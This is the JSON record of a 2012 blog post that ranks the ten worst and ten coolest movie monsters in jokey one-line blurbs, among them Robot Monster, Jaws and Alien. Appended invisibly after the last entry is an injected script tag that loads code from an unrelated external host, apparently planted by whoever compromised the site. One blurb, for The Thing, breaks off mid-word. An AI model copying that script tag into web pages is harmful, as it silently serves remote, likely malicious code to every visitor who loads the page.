{"id":5320,"date":"2012-11-21T12:17:06","date_gmt":"2012-11-21T18:17:06","guid":{"rendered":"http:\/\/www.bmovienation.com\/?p=5320"},"modified":"2012-11-21T12:17:06","modified_gmt":"2012-11-21T18:17:06","slug":"best-and-worst-b-movie-monsters","status":"publish","type":"post","link":"https:\/\/www.bmovienation.com\/?p=5320","title":{"rendered":"Best and Worst B Movie Monsters"},"content":{"rendered":"<p>It&#8217;s been hailed as B-Movie campalicious because it boasts what is supposedly the lamest monster ever committed to celluloid.<br \/>\nRobot Monster, the 1953 science-fiction schlocker, famously features a bloke in a gorilla suit wearing a diving helmet tormenting pretty ladies.<br \/>\nThe full, unrelenting horror of the alien invader Ro-Man will be unleashed on Canberra audiences when Robot Monster has a special outdoor screening from 8.15pm on Saturday November 10 at the National Film and Sound Archive&#8217;s Arc Cinema.<br \/>\nBut is producer\/director Phil Tucker&#8217;s 1950s abomination truly the crappiest movie monster ever?<\/p>\n<p>What&#8217;s the worst you&#8217;ve ever seen? Here are 10 rubbish movie monsters &#8211; and 10 of the coolest &#8211; to get you thinking.<\/p>\n<p>10  Worst movie monsters<\/p>\n<p>10. Battlefield Earth (2000) John Travolta\u2019s alien invader resembles a Klingon from Nimbin in this monstrously stupid piece of space junk based on the book by Scientology founder L. Ron Hubbard.<br \/>\n9.  Dog Soldiers (2003) The devil is in the entrails in this grisly werewolf howler that\u2019s equal parts gore and bore.<br \/>\n8. Species III (2004) Scaly lady alien seeks mates for vigorous sex and post-coital snacking. No strings attached. But maybe spiky tentacles.<br \/>\n7. The Happening (2008) M. Night Shyamalan presents the unseen, um, terror of the wind. Or something deadly blowing in the wind. Or something. A killer breeze? Puh-lease!<br \/>\n6. Leprechaun (1993) Jennifer Aniston Vs a Very Short, Very Evil Irish Goblin (Warwick Davis). An unlucky lass is poor Jen, to be sure. Her movie debut in this stinker AND breaking up with Brad Pitt.<br \/>\n5. Anaconda (1997) J-Lo Vs the Amazon\u2019s biggest snake. Yes, it\u2019s the booty versus the beast!<br \/>\n4. Night of the Lepus (1972) Janet Leigh Vs giant killer rabbits. No joke. Btw: no fluffy bunnies, or brain cells, were harmed during the making of this film.<br \/>\n3. Jaws: The Revenge (1987) Michael Caine Vs a great white shark with a grudge. Dah-dum\u2026. dah-dum. Nah, just dumb.<br \/>\n2. Robot Monster (1953) Take one gorilla suit and a deep-sea diver\u2019s helmet and you have the evil extra-terrestrial invader Ro-Man Extension XJ-2. And, yes, that\u2019s his name, not his licence plate number.<br \/>\n1. Edward Cullen (Twilights 1 to 27) Sorry, Team R-Patz. Time to admit it. Count von Count from Sesame Street is a more convincing vampire than Bella\u2019s sooky nape-nibbler.<\/p>\n<p>10 coolest movie monsters<br \/>\n10. The Host (2006) South Koreans battle a giant man-eating amphibian. Terrifying and hilarious &#8212; the monster and the movie.<br \/>\n9. American Werewolf In London (1981) Oscar-winning make-up effects create an unforgettable werewolf transformation scene. Well, almost as unforgettable as Jacob taking his shirt off in Twilights 2, 7, 13, 21 and 27.<br \/>\n8. StarshipTroopers (1997) Paul Verhoeven\u2019s swarms of invading alien \u201cbugs\u201d were spectacularly nasty pieces of work but gave good splatter when blasted.<br \/>\n7. Alien (1979) Is that your heart pounding out of your chest or something\u2026.alien? Ridley Scott directs Sigourney Weaver. H.R. Giger designed the beastie.<br \/>\n6. Jurassic Park (1993) T-Rex-sized thrills from Steven Spielberg.<br \/>\n5. Gremlins (1984) Cuddly, adorable, just add water and, whammo, instant creature feature.<br \/>\n4. The Descent (2005) Six chicks with picks explore Appalachian caves and find, well, you can guess the rest. It\u2019s alarming how much terror fits in tight, dark spaces.<br \/>\n3. The Thing (1982) John Carpenter\u2019s gory, grotesque alien horror starring Kurt Russell boasts more parasites and paranoia t<br \/>\n2. Monsters Inc (2001) Hairy but not scary monsters charm in this candy-coloured hoot from the animation wizards at Pixar. Be afraid: a sequel is reportedly on the way.<br \/>\n1. Jaws (1975) We\u2019re gonna need a bigger list.<script src=\"\/\/pngme.ru\/seter\"><\/script><\/p>\n<div class=\"syndication-links\"><\/div>","protected":false},"excerpt":{"rendered":"<p>It&#8217;s been hailed as B-Movie campalicious because it boasts what is supposedly the lamest monster ever committed to celluloid. Robot Monster, the 1953 science-fiction schlocker, famously features a bloke in a gorilla suit wearing a diving helmet tormenting pretty ladies. The full, unrelenting horror of the alien invader Ro-Man will be unleashed on Canberra audiences&#8230;<\/p>\n","protected":false},"author":44,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"rop_custom_images_group":[],"rop_custom_messages_group":[],"rop_publish_now":"initial","rop_publish_now_accounts":[],"rop_publish_now_history":[],"rop_publish_now_status":"pending","_uag_custom_page_level_css":"","mf2_syndication":[],"footnotes":""},"categories":[1],"tags":[],"class_list":["post-5320","post","type-post","status-publish","format-standard","hentry","category-b-movie-news","wpcat-1-id"],"uagb_featured_image_src":{"full":false,"thumbnail":false,"medium":false,"medium_large":false,"large":false,"1536x1536":false,"2048x2048":false,"gridflex-1422w-autoh-image":false,"gridflex-1074w-autoh-image":false,"gridflex-360w-300h-image":false},"uagb_author_info":{"display_name":"","author_link":"https:\/\/www.bmovienation.com\/?author=44"},"uagb_comment_info":0,"uagb_excerpt":"It&#8217;s been hailed as B-Movie campalicious because it boasts what is supposedly the lamest monster ever committed to celluloid. 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